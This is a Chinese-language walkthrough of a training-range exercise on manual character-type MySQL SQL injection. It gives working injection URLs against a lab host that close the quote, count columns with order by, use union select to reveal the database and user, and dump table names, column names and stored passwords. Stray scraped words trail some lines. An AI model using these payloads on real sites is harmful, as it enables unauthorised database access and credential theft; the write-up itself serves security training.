靶场练习-墨者学院-sql注入- 手工注入漏洞测试(MySQL数据库-字符型)

背景知识

1.Mysql的数据结构php

mysql中有一个information_schema数据库,用于维护mysql中的其余数据库信息。mysql

其中的tables表的TABLE_SCHEMA字段为库名,TABLE_NAME字段为表名;sql

columns表的TABLE_SCHEMA字段为所属的数据库,TABLE_NAME字段为表名,COLUMN_NAME字段为列名。 数据库

2.手工注入方法。数据结构

是否存在过滤,是否可绕过。url

是否可经过页面变化或者时间变化,判断是否存在注入点。spa

判断注入类型,字符型仍是数字型,字符型须要构造闭合。.net

经过order by 判断列数。orm

在找到注入点,判断出union 可用的字段后,判断出所用的数据库名字和用户名字,而后再information_schema中查看对应的数据库(table_schema)有哪几个表(table_name),而后在columns查看对应的表有哪些字段。blog

3.md5加解密。

思路

1.判断是否存在注入点。字符型,经过‘构造闭合。

 

 

输入’页面发生变化

 

 

 

 http://219.153.49.228:41974/new_list.php?id=tingjigonggao' and '1' ='1,页面恢复正常

 

 

 2.判断列数

http://219.153.49.228:41974/new_list.php?id=tingjigonggao' order by 5 --+  页面报错

 

 

http://219.153.49.228:41974/new_list.php?id=tingjigonggao' order by 4 --+  页面恢复正常 说明有四列

 

 

 

 

 3.判断位置,数据库名,用户名

http://219.153.49.228:41974/new_list.php?id=' union select 1,2,3,4 --+  或者  http://219.153.49.228:41974/new_list.php?id=' union select '1','2','3','4   

 

 

 http://219.153.49.228:41974/new_list.php?id=' union select '1',database(),user(),'4   ,判断数据库名,用户名

 

 

 4.查询数据库中的表名

http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+

 

 

 5.查询数据库的字段名

http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='stormgroup_member'--+

 

 

 

 6.查询数据库字段对应的值

http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member--+

 

相关文章
相关标签/搜索